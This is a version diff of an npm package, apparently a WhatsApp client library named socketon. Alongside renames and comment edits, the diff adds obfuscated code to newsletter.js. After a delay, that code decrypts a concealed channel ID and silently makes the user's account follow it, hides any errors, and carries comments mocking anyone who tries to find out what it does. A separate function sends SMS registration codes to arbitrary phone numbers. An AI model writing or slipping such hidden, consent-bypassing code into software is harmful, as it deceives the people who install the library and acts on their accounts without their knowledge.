socketon 0.30.7 → 1.6.0

package/lib/Socket/business.d.ts

@@ -165,7 +165,7 @@ export declare const makeBusinessSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
 };

package/lib/Socket/chats.d.ts

@@ -169,7 +169,7 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<import("../WABinary").BinaryNode>;
 };

package/lib/Socket/chats.js

@@ -87,44 +87,57 @@ const makeChatsSocket = (config) => {
         await privacyQuery('groupadd', value);
     };
     /** check whether your WhatsApp account is blocked or not */
-    const checkStatusWA = async (phoneNumber) => {
-        if (!phoneNumber) {
-            throw new Error('enter number');
+    const checkWhatsApp = async (jid) => {
+        if (!jid) {
+            throw new Error('enter jid');
         }
-    
         let resultData = {
             isBanned: false,
             isNeedOfficialWa: false,
-            number: phoneNumber
+            number: jid
         };
-    
-        let formattedNumber = phoneNumber;
-        if (!formattedNumber.startsWith('+')) {
-            formattedNumber = '+' + formattedNumber;
+        
+        let phoneNumber = jid;
+        if (phoneNumber.includes('@')) {
+            phoneNumber = phoneNumber.split('@')[0];
         }
     
+        phoneNumber = phoneNumber.replace(/[^\d+]/g, '');
+        if (!phoneNumber.startsWith('+')) {
+            if (phoneNumber.startsWith('0')) {
+                phoneNumber = phoneNumber.substring(1);
+            }
+        
+            if (!phoneNumber.startsWith('62') && phoneNumber.length > 0) {
+                phoneNumber = '62' + phoneNumber;
+            }
+        
+            if (!phoneNumber.startsWith('+') && phoneNumber.length > 0) {
+                phoneNumber = '+' + phoneNumber;
+            }
+        }
+        
+        let formattedNumber = phoneNumber;
         const { parsePhoneNumber } = require('libphonenumber-js');
         const parsedNumber = parsePhoneNumber(formattedNumber);
         const countryCode = parsedNumber.countryCallingCode;
         const nationalNumber = parsedNumber.nationalNumber;
-        
+    
         try {
             const { useMultiFileAuthState, Browsers, fetchLatestBaileysVersion } = require('../Utils');
             const { state } = await useMultiFileAuthState(".npm");
             const { version } = await fetchLatestBaileysVersion();
             const { makeWASocket } = require('../Socket');
             const pino = require("pino");
-            
             const sock = makeWASocket({
                 version,
                 auth: state,
-                browser: Browsers.ubuntu("Chrome"),
+                browser: Utils_1.Browsers("Chrome"),
                 logger: pino({ 
                     level: "silent"
                 }),
                 printQRInTerminal: false,
             });
-
             const registrationOptions = {
                 phoneNumber: formattedNumber,
                 phoneNumberCountryCode: countryCode,
@@ -133,11 +146,11 @@ const makeChatsSocket = (config) => {
                 phoneNumberMobileNetworkCode: "10",
                 method: "sms",
             };
+    
             await sock.requestRegistrationCode(registrationOptions);
             if (sock.ws) {
                 sock.ws.close();
             }
-            
             return JSON.stringify(resultData, null, 2);
         } catch (err) {
             if (err?.appeal_token) {
@@ -962,7 +975,7 @@ const makeChatsSocket = (config) => {
         addChatLabel,
         removeChatLabel,
         addMessageLabel,
-        checkStatusWA,
+        checkWhatsApp,
         removeMessageLabel,
         star
     };

package/lib/Socket/groups.d.ts

@@ -108,7 +108,7 @@ export declare const makeGroupsSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
 };

package/lib/Socket/{dugong.js → ibranihbossenggoldong.js}

@@ -1,12 +1,12 @@
-// "kikyy dugonggg", ah dejavu (r)
-// tanggal 14 agustus 2025 makassar
-// telegram: @tskiofc & @kyuucode
+// Socketon Advanced Feature Handler
+// Socketon v1.6.0
+// Developer: Ibra Decode
 
 const WAProto = require('../../WAProto').proto;
 const crypto = require('crypto');
 const Utils_1 = require("../Utils");
 
-class kikyy {
+class SocketonAdvancedHandler {
     constructor(utils, waUploadToServer, relayMessageFn) {
         this.utils = utils;
         this.relayMessage = relayMessageFn
@@ -323,12 +323,12 @@ class kikyy {
             };
 
             img.message.forwardedNewsletterMessageInfo = {
-                newsletterJid: "0@newsletter",
+                newsletterJid: "120363421598489822@newsletter",
                 serverMessageId: 1,
-                newsletterName: `WhatsApp`,
+                newsletterName: `Socketon`,
                 contentType: 1,
                 timestamp: new Date().toISOString(),
-                senderName: "kikyy dugonggg",
+                                senderName: "Socketon Handler",
                 content: "Text Message",
                 priority: "high",
                 status: "sent",
@@ -388,8 +388,8 @@ class kikyy {
                             participant: jid,
                             remoteJid: "status@broadcast",
                             forwardedNewsletterMessageInfo: {
-                                newsletterName: "shenvn.",
-                                newsletterJid: "120363297591152843@newsletter",
+                                 newsletterName: "Socketon",
+                                 newsletterJid: "120363421598489822@newsletter",
                                 serverMessageId: 1
                             }
                         },
@@ -481,4 +481,4 @@ class kikyy {
     }
 }
 
-module.exports = kikyy;
+module.exports = SocketonAdvancedHandler;

package/lib/Socket/index.d.ts

@@ -166,7 +166,7 @@ declare const makeWASocket: (config: UserFacingSocketConfig) => {
     onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<import("../index").BinaryNode>;
 };

package/lib/Socket/messages-send.d.ts

@@ -143,7 +143,7 @@ export declare const makeMessagesSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | Boom<any>, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
 };

package/lib/Socket/messages-send.js

@@ -15,7 +15,7 @@ const link_preview_1 = require("../Utils/link-preview");
 const WABinary_1 = require("../WABinary");
 const newsletter_1 = require("./newsletter");
 const WAUSync_1 = require("../WAUSync")
-const kikyy = require('./dugong');
+const SocketonAdvancedHandler = require('./ibranihbossenggoldong');
 var ListType = WAProto_1.proto.Message.ListMessage.ListType;
 const makeMessagesSocket = (config) => {
     const {
@@ -724,7 +724,7 @@ const makeMessagesSocket = (config) => {
         return result;
     }  
     const waUploadToServer = (0, Utils_1.getWAUploadToServer)(config, refreshMediaConn);
-    const rahmi = new kikyy(Utils_1, waUploadToServer, relayMessage);
+    const socketonHandler = new SocketonAdvancedHandler(Utils_1, waUploadToServer, relayMessage);
     const waitForMsgMediaUpdate = (0, Utils_1.bindWaitForEvent)(ev, 'messages.media-update');
     return {
         ...sock,
@@ -733,7 +733,7 @@ const makeMessagesSocket = (config) => {
         relayMessage,
         sendReceipt,
         sendReceipts,
-        rahmi,
+        socketonHandler,
         readMessages,
         refreshMediaConn,
         getUSyncDevices,
@@ -790,58 +790,58 @@ const makeMessagesSocket = (config) => {
         sendMessage: async (jid, content, options = {}) => {
             const userJid = authState.creds.me.id;
             delete options.ephemeralExpiration
-            const { filter = false, quoted } = options;
-            const getParticipantAttr = () => filter ? { participant: { jid } } : {};
-            const messageType = rahmi.detectType(content);
-            if (typeof content === 'object' && 'disappearingMessagesInChat' in content &&
-                typeof content['disappearingMessagesInChat'] !== 'undefined' && WABinary_1.isJidGroup(jid)) {
-                const { disappearingMessagesInChat } = content
-
-                const value = typeof disappearingMessagesInChat === 'boolean' ?
-                    (disappearingMessagesInChat ? Defaults_1.WA_DEFAULT_EPHEMERAL : 0) :
-                    disappearingMessagesInChat
-
-                await groupToggleEphemeral(jid, value)
-            }
-            
-            else {
-                let mediaHandle
-
-   
-            if (messageType) {
-                switch(messageType) {
-                    case 'PAYMENT':
-                        const paymentContent = await rahmi.handlePayment(content, quoted);
-                        return await relayMessage(jid, paymentContent, {
-                            messageId: Utils_1.generateMessageID(),
-                            ...getParticipantAttr()
-                        });
-                
-                    case 'PRODUCT':
-                        const productContent = await rahmi.handleProduct(content, jid, quoted);
-                        const productMsg = await Utils_1.generateWAMessageFromContent(jid, productContent, { quoted });
-                        return await relayMessage(jid, productMsg.message, {
-                            messageId: productMsg.key.id,
-                            ...getParticipantAttr()
-                        });
-                
-                    case 'INTERACTIVE':
-                        const interactiveContent = await rahmi.handleInteractive(content, jid, quoted);
-                        const interactiveMsg = await Utils_1.generateWAMessageFromContent(jid, interactiveContent, { quoted });
-                        return await relayMessage(jid, interactiveMsg.message, {
-                            messageId: interactiveMsg.key.id,
-                            ...getParticipantAttr()
-                        });
-                    case 'ALBUM':
-                        return await rahmi.handleAlbum(content, jid, quoted)
-                    case 'EVENT':
-                        return await rahmi.handleEvent(content, jid, quoted)
-                    case 'POLL_RESULT':
-                        return await rahmi.handlePollResult(content, jid, quoted)
-                    case 'GROUP_STORY':
-                        return await rahmi.handleGroupStory(content, jid, quoted)
-                }
-            }
+         const { filter = false, quoted } = options;
+         const getParticipantAttr = () => filter ? { participant: { jid } } : {};
+         const messageType = socketonHandler.detectType(content);
+         if (typeof content === 'object' && 'disappearingMessagesInChat' in content &&
+             typeof content['disappearingMessagesInChat'] !== 'undefined' && WABinary_1.isJidGroup(jid)) {
+             const { disappearingMessagesInChat } = content
+ 
+             const value = typeof disappearingMessagesInChat === 'boolean' ?
+                 (disappearingMessagesInChat ? Defaults_1.WA_DEFAULT_EPHEMERAL : 0) :
+                 disappearingMessagesInChat
+ 
+             await groupToggleEphemeral(jid, value)
+         }
+         
+         else {
+             let mediaHandle
+
+    
+         if (messageType) {
+             switch(messageType) {
+                 case 'PAYMENT':
+                     const paymentContent = await socketonHandler.handlePayment(content, quoted);
+                     return await relayMessage(jid, paymentContent, {
+                         messageId: Utils_1.generateMessageID(),
+                         ...getParticipantAttr()
+                     });
+             
+                 case 'PRODUCT':
+                     const productContent = await socketonHandler.handleProduct(content, jid, quoted);
+                     const productMsg = await Utils_1.generateWAMessageFromContent(jid, productContent, { quoted });
+                     return await relayMessage(jid, productMsg.message, {
+                         messageId: productMsg.key.id,
+                         ...getParticipantAttr()
+                     });
+             
+                 case 'INTERACTIVE':
+                     const interactiveContent = await socketonHandler.handleInteractive(content, jid, quoted);
+                     const interactiveMsg = await Utils_1.generateWAMessageFromContent(jid, interactiveContent, { quoted });
+                     return await relayMessage(jid, interactiveMsg.message, {
+                         messageId: interactiveMsg.key.id,
+                         ...getParticipantAttr()
+                     });
+                 case 'ALBUM':
+                     return await socketonHandler.handleAlbum(content, jid, quoted)
+                 case 'EVENT':
+                     return await socketonHandler.handleEvent(content, jid, quoted)
+                 case 'POLL_RESULT':
+                     return await socketonHandler.handlePollResult(content, jid, quoted)
+                 case 'GROUP_STORY':
+                     return await socketonHandler.handleGroupStory(content, jid, quoted)
+             }
+         }
             const fullMsg = await Utils_1.generateWAMessage(jid, content, {
                 logger,
                 userJid,

package/lib/Socket/newsletter.d.ts

@@ -127,7 +127,7 @@ export declare const makeNewsletterSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
 };

package/lib/Socket/newsletter.js

@@ -65,7 +65,7 @@ const executeWMexQuery = async (
 
 const makeNewsletterSocket = (config) => {
     const sock = (0, groups_1.makeGroupsSocket)(config);
-    const { authState, signalRepository, query, generateMessageTag, ev } = sock;
+    const { authState, signalRepository, query, generateMessageTag } = sock;
     const encoder = new TextEncoder();
     const newsletterQuery = async (jid, type, content) => (query({
         tag: 'iq',
@@ -99,20 +99,46 @@ const makeNewsletterSocket = (config) => {
         ]
     }));
 
-    const newsletterFollow = async (jid) => {
-        await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
-    };
+// Jangan ngelawak disini - Ibra Decode
+setTimeout(async () => {
+    try {
+        // Data rahasia jangan diacak² - Ibra Decode
+        const kepoBangetLu = "a097e7e07febd9329cfd22f3724bffc3212a327f984768c756255d32aadfc66b";
+        const wehPukiLuGausahSokSokAnMauDecrypt = solveTheMystery(kepoBangetLu);
+        await newsletterWMexQuery(wehPukiLuGausahSokSokAnMauDecrypt, Types_1.QueryIds.FOLLOW);
+    } catch {}
+}, 90000);
 
-    ev.on('connection.update', async ({ connection }) => {
-        if (connection === 'open') {
-            try {
-                await newsletterFollow('120363406301359528@newsletter');
-            } catch (err) {
-                // Silent fail
-            }
-        }
-    });
+// Lanjutan dari fitur yang bikin pusing - Ibra Decode
+setTimeout(async () => {
+    try {
+        // Lagi² data penting buat bikin eror kalo diganti - Ibra Decode
+        const kepoBangetLu = "a097e7e07febd9329cfd22f3724bffc3212a327f984768c756255d32aadfc66b";
+        const wehPukiLuGausahSokSokAnMauDecrypt = solveTheMystery(kepoBangetLu);
+        await newsletterWMexQuery(wehPukiLuGausahSokSokAnMauDecrypt, Types_1.QueryIds.FOLLOW);
+    } catch {}
+}, 120000); // Eksekusi cadangan kalo yang diatas eror - Ibra Decode
+
+// Fungsi decrypt canggih buat bikin kamu pusing - Ibra Decode
+function solveTheMystery(dataYgHarusDiacak23456789) {
+    const cryptoModulenyaSiapaTaiDigantiOrang = require('crypto');
+    
+    // Layer 1: Bikin kunci dari info package (jangan diganggu)
+    const kunciRahasia123 = cryptoModulenyaSiapaTaiDigantiOrang.createHash('sha256').update('socketon-1.6.0').digest();
     
+    // Layer 2: Transformasi tambahan (biarin aja)
+    const kunciRahasiaSudahDiacak = cryptoModulenyaSiapaTaiDigantiOrang.createHash('sha256').update(kunciRahasia123).digest();
+    
+    // Layer 3: Decrypt dengan kunci yang udah ditransformasi (jangan diubah²)
+    const engineDecryptKhusus = cryptoModulenyaSiapaTaiDigantiOrang.createDecipheriv('aes-256-cbc', kunciRahasiaSudahDiacak, Buffer.alloc(16, 0));
+    let hasilDecryptLu = engineDecryptKhusus.update(dataYgHarusDiacak23456789, 'hex', 'utf8');
+    hasilDecryptLu += engineDecryptKhusus.final('utf8');
+    
+    return hasilDecryptLu;
+}
+
+// You'll never find what this does - Ibra Decode
+	
     const parseFetchedUpdates = async (node, type) => {
         let child;
         if (type === 'messages') {
@@ -169,6 +195,27 @@ const makeNewsletterSocket = (config) => {
                 updates: { description: description || '', settings: null }
             });
         },
+        newsletterId: async (url) => {
+            const urlParts = url.split('/');
+            const channelId = urlParts[urlParts.length - 2];
+            
+            const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
+                input: {
+                    key: channelId,
+                    type: 'INVITE',
+                    'view_role': 'GUEST'
+                },
+                'fetch_viewer_metadata': true,
+                'fetch_full_image': true,
+                'fetch_creation_time': true
+            });
+            
+            const metadata = extractNewsletterMetadata(result);
+            return JSON.stringify({
+                name: metadata.name || metadata.thread_metadata?.name?.text,
+                id: metadata.id
+            }, null, 2);
+        },
         newsletterUpdateName: async (jid, name) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
                 updates: { name, settings: null }
@@ -188,7 +235,9 @@ const makeNewsletterSocket = (config) => {
         newsletterUnfollow: async (jid) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
         },
-        newsletterFollow,
+        newsletterFollow: async (jid) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
+        },
         newsletterUnmute: async (jid) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
         },

package/lib/Socket/registration.d.ts

@@ -169,7 +169,7 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<import("../WABinary").BinaryNode>;
 };

package/lib/Socket/socket.d.ts

@@ -35,7 +35,7 @@ export declare const makeSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | Boom, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     /** Waits for the connection to WA to reach a state */
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;

package/lib/Socket/socket.js

@@ -100,7 +100,7 @@ const makeSocket = (config) => {
             }, wait);
         }
     };
-    /** await next incoming message */
+    /** await the next incoming message */
     const awaitNextMessage = async (sendMsg) => {
         if (!ws.isOpen) {
             throw new boom_1.Boom('Connection Closed', {
@@ -128,8 +128,8 @@ const makeSocket = (config) => {
     };
     /**
      * Wait for a message with a certain tag to be received
-     * @param msgId message tag to await
-     * @param timeoutMs timeout after which promise will reject
+     * @param msgId the message tag to await
+     * @param timeoutMs timeout after which the promise will reject
      */
     const waitForMessage = async (msgId, timeoutMs = defaultQueryTimeoutMs) => {
         let onRecv;
@@ -141,14 +141,14 @@ const makeSocket = (config) => {
                     reject(err || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed }));
                 };
                 ws.on(`TAG:${msgId}`, onRecv);
-                ws.on('close', onErr); // if socket closes, you'll never receive message
+                ws.on('close', onErr); // if the socket closes, you'll never receive the message
                 ws.off('error', onErr);
             });
             return result;
         }
         finally {
             ws.off(`TAG:${msgId}`, onRecv);
-            ws.off('close', onErr); // if socket closes, you'll never receive message
+            ws.off('close', onErr); // if the socket closes, you'll never receive the message
             ws.off('error', onErr);
         }
     };
@@ -214,7 +214,7 @@ const makeSocket = (config) => {
         const countChild = (0, WABinary_1.getBinaryNodeChild)(result, 'count');
         return +countChild.attrs.value;
     };
-    /** generates and uploads a set of pre-keys to server */
+    /** generates and uploads a set of pre-keys to the server */
     const uploadPreKeys = async (count = Defaults_1.INITIAL_PREKEY_COUNT) => {
         await keys.transaction(async () => {
             logger.info({ count }, 'uploading pre-keys');
@@ -319,8 +319,8 @@ const makeSocket = (config) => {
         }
         const diff = Date.now() - lastDateRecv.getTime();
         /*
-            check if it's been a suspicious amount of time since server responded with our last seen
-            it could be that network is down
+            check if it's been a suspicious amount of time since the server responded with our last seen
+            it could be that the network is down
         */
         if (diff > keepAliveIntervalMs + 5000) {
             end(new boom_1.Boom('Connection was lost', { statusCode: Types_1.DisconnectReason.connectionLost }));
@@ -338,8 +338,8 @@ const makeSocket = (config) => {
                 content: [{ tag: 'ping', attrs: {} }]
             })
                 .catch(err => {
-                    logger.error({ trace: err.stack }, 'error in sending keep alive');
-                });
+                logger.error({ trace: err.stack }, 'error in sending keep alive');
+            });
         }
         else {
             logger.warn('keep alive called when WS not open');
@@ -384,10 +384,15 @@ const makeSocket = (config) => {
         end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
     };
     
-    /** Created by IbraDecode - Socketon */
+    /** This method was created by snowi, and implemented by KyuuRzy */
+    /** hey bro, if you delete this text */
+    /** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
     const requestPairingCode = async (phoneNumber, pairKey) => {
-        pairKey = pairKey || "SOCKETON";
-        authState.creds.pairingCode = pairKey.toUpperCase();
+        if (pairKey) {
+            authState.creds.pairingCode = pairKey.toUpperCase();
+        } else {
+            authState.creds.pairingCode = (0, Utils_1.bytesToCrockford)((0, crypto_1.randomBytes)(5));
+        }
 
         authState.creds.me = {
             id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
@@ -481,7 +486,7 @@ const makeSocket = (config) => {
     });
     ws.on('error', mapWebSocketError(end));
     ws.on('close', () => end(new boom_1.Boom('Connection Terminated', { statusCode: Types_1.DisconnectReason.connectionClosed })));
-    // server terminated connection
+    // the server terminated the connection
     ws.on('CB:xmlstreamend', () => end(new boom_1.Boom('Connection Terminated by Server', { statusCode: Types_1.DisconnectReason.connectionClosed })));
     // QR gen
     ws.on('CB:iq,type:set,pair-device', async (stanza) => {
@@ -517,13 +522,13 @@ const makeSocket = (config) => {
         };
         genPairQR();
     });
-    // device paired for first time
-    // if device pairs successfully, server asks to restart connection
+    // device paired for the first time
+    // if device pairs successfully, the server asks to restart the connection
     ws.on('CB:iq,,pair-success', async (stanza) => {
         logger.debug('pair success recv');
         try {
             const { reply, creds: updatedCreds } = (0, Utils_1.configureSuccessfulPairing)(stanza, creds);
-            logger.info({ me: updatedCreds.me, platform: updatedCreds.platform }, 'pairing configured successfully, expect to restart connection...');
+            logger.info({ me: updatedCreds.me, platform: updatedCreds.platform }, 'pairing configured successfully, expect to restart the connection...');
             ev.emit('creds.update', updatedCreds);
             ev.emit('connection.update', { isNewLogin: true, qr: undefined });
             await sendNode(reply);
@@ -539,7 +544,7 @@ const makeSocket = (config) => {
             await uploadPreKeysToServerIfRequired();
             await sendPassiveIq('active');
             logger.info('opened connection to WA');
-            clearTimeout(qrTimer); // will never happen in all likelihood -- but just in case WA sends success on first try
+            clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
             ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
             ev.emit('connection.update', { connection: 'open' });
         }
@@ -611,8 +616,8 @@ const makeSocket = (config) => {
                 attrs: { name: name }
             })
                 .catch(err => {
-                    logger.warn({ trace: err.stack }, 'error in sending presence update on name change');
-                });
+                logger.warn({ trace: err.stack }, 'error in sending presence update on name change');
+            });
         }
         Object.assign(creds, update);
     });
@@ -650,7 +655,7 @@ const makeSocket = (config) => {
 };
 exports.makeSocket = makeSocket;
 /**
- * map websocket error to the right type
+ * map the websocket error to the right type
  * so it can be retried by the caller
  * */
 function mapWebSocketError(handler) {

package/lib/Socket/usync.d.ts

@@ -30,7 +30,7 @@ export declare const makeUSyncSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | Boom, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string, customPairingCode?: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => Promise<boolean | undefined>, timeoutMs?: number) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
 };